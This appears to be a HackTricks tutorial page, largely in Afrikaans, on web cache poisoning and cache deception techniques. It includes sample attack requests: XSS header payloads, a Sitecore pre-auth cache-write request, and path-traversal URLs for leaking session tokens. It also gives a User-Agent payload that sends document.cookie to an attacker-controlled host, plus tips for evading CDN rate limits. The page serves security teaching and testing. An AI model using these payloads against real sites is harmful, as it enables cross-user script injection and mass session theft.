Cache Poisoning and Cache Deception

Reading time: 18 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Die verskil

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, die attacker veroorsaak dat die application sekere malicious content in die cache stoor, en hierdie content word vanaf die cache bedien aan ander application users.
  • In web cache deception, die attacker veroorsaak dat die application sekere sensitiewe inhoud van ’n ander gebruiker in die cache stoor, en die attacker haal dan hierdie inhoud uit die cache.

Cache Poisoning

Cache poisoning is gemik op die manipulasie van die client-side cache om clients te dwing om resources te laai wat onverwags, gedeeltelik, of onder die beheer van ’n attacker is. Die omvang van die impak hang af van die gewildheid van die geaffekteerde page, aangesien die besmette response slegs aan users bedien word wat die page besoek gedurende die tydperk van cache kontaminasie.

Die uitvoering van ’n cache poisoning assault behels verskeie stappe:

  1. Identification of Unkeyed Inputs: Dit is parameters wat, alhoewel nie vereis vir ’n request om gecached te word nie, die response wat die server teruggee kan verander. Identifisering van hierdie inputs is krities aangesien hulle uitgebuit kan word om die cache te manipuleer.
  2. Exploitation of the Unkeyed Inputs: Nadat die unkeyed inputs geïdentifiseer is, behels die volgende stap om uit te werk hoe om hierdie parameters onbedoeld te misbruik om die server se response op ’n manier te wysig wat die attacker bevoordeel.
  3. Ensuring the Poisoned Response is Cached: Die finale stap is om te verseker dat die gemanipuleerde response in die cache gestoor word. Op hierdie manier sal enige user wat die geaffekteerde page besoek terwyl die cache besmet is die beskadigde response ontvang.

Ontdekking: Check HTTP headers

Gewoonlik, wanneer ’n response stored in the cache is daar ’n header wat dit aandui; jy kan kyk watter headers aandag verdien in hierdie artikel: HTTP Cache headers.

Ontdekking: Caching error codes

As jy dink dat die response in ’n cache gestoor word, kan jy probeer om requests with a bad header te stuur, wat normaalweg met ’n status code 400 beantwoord behoort te word. Probeer dan toegang tot die request normaalweg en as die response a 400 status code is, weet jy dit is kwesbaar (en jy kan selfs ’n DoS uitvoer).

Jy kan meer opsies vind in:

Cache Poisoning to DoS

Let egter daarop dat soms hierdie tipes status codes nie gecached word nie, so hierdie toets mag nie betroubaar wees nie.

Ontdekking: Identify and evaluate unkeyed inputs

Jy kan Param Miner gebruik om brute-force parameters and headers te doen wat moontlik die response of the page verander. Byvoorbeeld, ’n page kan die header X-Forwarded-For gebruik om die client aan te dui om die script daarvandaan te laai:

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Lok 'n skadelike reaksie uit die back-end bediener

Met die parameter/header geïdentifiseer, kyk hoe dit gesanitiseer word en waar dit in die reaksie vanaf die header weerspieël of die reaksie beïnvloed. Kan jy dit op enige wyse misbruik (voer 'n XSS uit of laai 'n JS-kode wat jy beheer? voer 'n DoS uit?...)

Kry die reaksie in die cache

Sodra jy die bladsy wat misbruik kan word, die parameter/header om te gebruik en hoe om dit te misbruik geïdentifiseer het, moet jy die bladsy in die cache kry. Afhangend van die hulpbron wat jy probeer in die cache kry, kan dit 'n rukkie neem — jy mag vir 'n paar sekondes moet probeer.

Die header X-Cache in die reaksie kan baie nuttig wees omdat dit die waarde miss kan hĂȘ wanneer die versoek nie in die cache was nie en die waarde hit wanneer dit in die cache is.
Die header Cache-Control is ook belangrik om te weet of 'n hulpbron in die cache gehou word en wanneer dit volgende keer weer in die cache geplaas sal word: Cache-Control: public, max-age=1800

Nog 'n interessante header is Vary. Hierdie header word dikwels gebruik om bykomende headers aan te dui wat as deel van die cache-sleutel beskou word, selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die User-Agent van die victim wat hy teiken ken, kan hy poison the cache vir gebruikers wat daardie spesifieke User-Agent gebruik.

Nog 'n header verwant aan die cache is Age. Dit gee die tyd in sekondes wat die objek al in die proxy-cache was.

Wanneer jy 'n versoek in die cache plaas, wees versigtig met watter headers jy gebruik, want sommige van hulle kan onverwag gebruik word as keyed en die victim sal dieselfde header moet gebruik. Toets altyd 'n Cache Poisoning met verskillende browsers om te kyk of dit werk.

Voorbeelde van uitbuiting

Maklikste voorbeeld

'n header soos X-Forwarded-For word ongefiltreerd in die reaksie weerspieël.
Jy kan 'n basiese XSS payload stuur en poison the cache sodat almal wat die bladsy besoek XSSed sal word:

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Let wel dat dit poison 'n versoek na /en?region=uk sal wees, nie na /en nie

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

In this writeup word die volgende eenvoudige scenario verduidelik:

  • Die CDN sal cache alles onder /share/
  • Die CDN sal NIE %2F..%2F decode of normaliseer nie, daarom kan dit gebruik word as path traversal to access other sensitive locations that will be cached soos https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • Die web server sal WEL %2F..%2F decode en normaliseer, en sal reageer met /api/auth/session, wat die auth token bevat.

Cookies kan ook in die reaksie van 'n bladsy weerspieël word. As jy dit byvoorbeeld kan misbruik om 'n XSS te veroorsaak, kan jy XSS in verskeie kliënte uitbuit wat die kwaadwillige cache-reaksie laai.

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Let daarop dat as die kwesbare cookie baie deur gebruikers gebruik word, gewone versoeke die cache sal skoonmaak.

Generering van verskille met afbakeners, normalisering en punte

Kyk:

Cache Poisoning via URL discrepancies

Cache poisoning met path traversal om API key te steel

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

Hier word dit ook beter verduidelik in:

Cache Poisoning via URL discrepancies

Gebruik van meerdere headers om web cache poisoning vulnerabilities uit te buit

Soms sal jy die exploit several unkeyed inputs nodig hĂȘ om 'n cache te misbruik. Byvoorbeeld, jy mag 'n Open redirect vind as jy X-Forwarded-Host op 'n domein stel wat deur jou beheer word en X-Forwarded-Scheme op http stel. If die server is forwarding alle HTTP versoeke to HTTPS en die header X-Forwarded-Scheme gebruik as die domain name vir die redirect, kan jy beheer waarheen die bladsy deur die redirect wys.

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploiting with limited Varyheader

Indien jy agterkom dat die X-Host header gebruik word as domeinnaam om 'n JS resource te laai, maar die Vary header in die response aandui User-Agent, moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltrate en die cache te poison met daardie user agent:

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Stuur 'n GET-versoek met die versoek beide in die URL en in die body. As die web server die een uit die body gebruik, maar die cache server die een uit die URL kas, sal enigiemand wat daardie URL besoek eintlik die parameter uit die body gebruik. Soos die vuln wat James Kettle op die Github-website gevind het:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There is 'n Portswigger lab hieroor: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Byvoorbeeld is dit moontlik om parameters op ruby-bedieners te skei met die karakter ; in plaas van &. Dit kan gebruik word om parameterwaardes sonder sleutel binne parameterwaardes met sleutel in te sluit en dit misbruik.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Leer hier hoe om Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

Die Web Cache Vulnerability Scanner kan gebruik word om outomaties vir web cache poisoning te toets. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Hierdie werklike-wereld patroon koppel 'n header-gebaseerde reflection-primitive aan CDN/WAF-gedrag om die gecachte HTML wat aan ander gebruikers bedien word betroubaar te poison:

  • Die hoof-HTML weerspieĂ«l 'n onbetroubare versoek-header (e.g., User-Agent) in 'n uitvoerbare konteks.
  • Die CDN het cache headers gestripe maar 'n interne/origin cache het bestaan. Die CDN het ook versoeke wat op statiese extensies eindig (e.g., .js) outomaties gecache, terwyl die WAF 'n swakker inhoudsinspeksie op GETs vir statiese bates toegepas het.
  • Vreemde versoekstroom-dinamika het toegelaat dat 'n versoek na 'n .js path die cache key/variant vir die daaropvolgende hoof-HTML beĂŻnvloed, wat cross-user XSS via header reflection moontlik maak.

Praktiese resep (waargeneem oor 'n gewilde CDN/WAF):

  1. Vanaf 'n skoon IP (vermy vooraf bestaande reputasie-gebaseerde afgraderings), stel 'n kwaadwillige User-Agent via die blaaier of Burp Proxy Match & Replace.
  2. In Burp Repeater, berei 'n groep van twee versoeke voor en gebruik "Send group in parallel" (single-packet mode werk die beste):
  • Eerste versoek: GET 'n .js resource path op dieselfde origin terwyl jy jou kwaadwillige User-Agent stuur.
  • Onmiddellik daarna: GET die hoofblad (/).
  1. Die CDN/WAF routeringswedloop plus die outomaties gecachede .js saai dikwels 'n poisoned cached HTML-variant wat dan aan ander besoekers bedien word wat dieselfde cache key-toestande deel (e.g., dieselfde Vary dimensies soos User-Agent).

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operasionele wenke:

  • Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
  • Die gebruik van 'n IP vanaf die CDN se eie cloud verbeter soms routeringskonsistensie.
  • As 'n streng CSP teenwoordig is, werk dit steeds as die refleksie in die hoof HTML-konteks uitgevoer word en CSP inline-uitvoering toelaat of deur konteks omseil word.

Impak:

  • As sessie-cookies nie HttpOnly is nie, is zero-click ATO moontlik deur massale eksfiltrasie van document.cookie van alle gebruikers wat die poisoned HTML ontvang.

Verdedigings:

  • Hou op om request headers in HTML te reflekteer; kodeer dit streng volgens konteks as dit onvermydelik is. Stem CDN- en origin cache-beleid op mekaar af en vermy varying op onbetroubare headers.
  • Sorg dat die WAF inhoudsinspeksie konsekwent toepas op .js requests en statiese paths.
  • Stel HttpOnly (en Secure, SameSite) op sessie-cookies.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>
payload
</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Dit skryf arbitrĂȘre HTML onder 'n attacker‑chosen cache key, wat presiese poisoning moontlik maak sodra cache keys bekend is.

Vir volledige besonderhede (cache key construction, ItemService enumeration en 'n chained post‑auth deserialization RCE):

Sitecore

Kwetsbare Voorbeelde

Apache Traffic Server (CVE-2021-27577)

ATS het die fragment binne die URL deurgestuur sonder om dit te verwyder en het die cache key slegs gegenereer met behulp van host, path en query (die fragment ignoreer). Dus is die versoek /#/../?r=javascript:alert(1) na die backend gestuur as /#/../?r=javascript:alert(1) en die cache key het nie die payload daarin gehad nie, slegs host, path en query.

GitHub CP-DoS

Deur 'n slegte waarde in die content-type header te stuur is 'n 405 cached response geaktiveer. Die cache key het die cookie ingesluit, so dit was slegs moontlik om unauth users aan te val.

GitLab + GCP CP-DoS

GitLab gebruik GCP buckets om static content te stoor. GCP Buckets ondersteun die header x-http-method-override. Dus was dit moontlik om die header x-http-method-override: HEAD te stuur en die cache te poison sodat dit 'n leë response body teruggee. Dit kon ook die method PURGE ondersteun.

Rack Middleware (Ruby on Rails)

In Ruby on Rails applications word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die x-forwarded-scheme header te neem en dit as die request se scheme te stel. Wanneer die header x-forwarded-scheme: http gestuur word, gebeur 'n 301 redirect na dieselfde ligging, wat moontlik 'n Denial of Service (DoS) vir daardie bron kan veroorsaak. Verder kan die toepassing die X-forwarded-host header erken en gebruikers na die gespesifiseerde host herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lĂȘers vanaf 'n attacker's server, wat 'n sekuriteitsrisiko inhou.

403 and Storage Buckets

Cloudflare het voorheen 403 responses gecache. Om toegang tot S3 of Azure Storage Blobs met verkeerde Authorization headers te probeer het 'n 403 response gegee wat gecache is. Alhoewel Cloudflare opgehou het om 403 responses te cache, kan hierdie gedrag steeds in ander proxy-dienste voorkom.

Injecting Keyed Parameters

Caches sluit dikwels spesifieke GET-parameters in die cache key in. Byvoorbeeld, Fastly se Varnish cached die size parameter in versoeke. As 'n URL-encoded weergawe van die parameter (bv. siz%65) egter ook met 'n foutiewe waarde gestuur is, sou die cache key saamgestel word met die korrekte size parameter. Die backend sou egter die waarde in die URL-encoded parameter verwerk. URL-encoding van die tweede size-parameter het daartoe gelei dat dit deur die cache weggelaat is, maar deur die backend gebruik is. Om 'n waarde van 0 aan hierdie parameter toe te ken het gelei tot 'n cacheable 400 Bad Request error.

User Agent Rules

Sommige ontwikkelaars blokkeer versoeke met user-agents wat pas by hoë‑verkeer tools soos FFUF of Nuclei om serverbelasting te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring.

Illegal Header Fields

https://datatracker.ietf.mrg/doc/html/rfc7230 spesifiseer die aanvaarbare karakters in header name. Headers wat karakters buite die gespesifiseerde tchar reeks bevat, behoort idealiter 'n 400 Bad Request response te veroorsaak. In die praktyk hou servers nie altyd by hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat headers met ongeldige karakters deurstuur en enige 400 error cache, solank die cache-control header nie teenwoordig is nie. 'n Exploitable patroon is geĂŻdentifiseer waar die stuur van 'n header met 'n onwettige karakter, soos \, tot 'n cacheable 400 Bad Request error lei.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.

Eerstens, let daarop dat extensions soos .css, .js, .png ens. gewoonlik gekonfigureer is om in die cache gestoor te word. Daarom, as jy www.example.com/profile.php/nonexistent.js besoek, sal die cache waarskynlik die response stoor omdat dit die .js extension herken. Maar as die toepassing die sensitive gebruikerinhoud wat in www.example.com/profile.php gestoor is, teruggee, kan jy daardie inhoud van ander users steal.

Other things to test:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user's sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.

Let daarop dat die cache proxy geconfigureer moet wees om lĂȘers te cache gebaseer op die extension van die lĂȘer (.css) en nie op die content-type nie. In die voorbeeld sal http://www.example.com/home.php/non-existent.css 'n text/html content-type hĂȘ in plaas van text/css mime type.

Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.

Outomatiese Gereedskap

  • toxicache: Golang-skandeerder om web cache poisoning kwetsbaarhede in 'n lys van URLs te vind en verskeie injection techniques te toets.

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks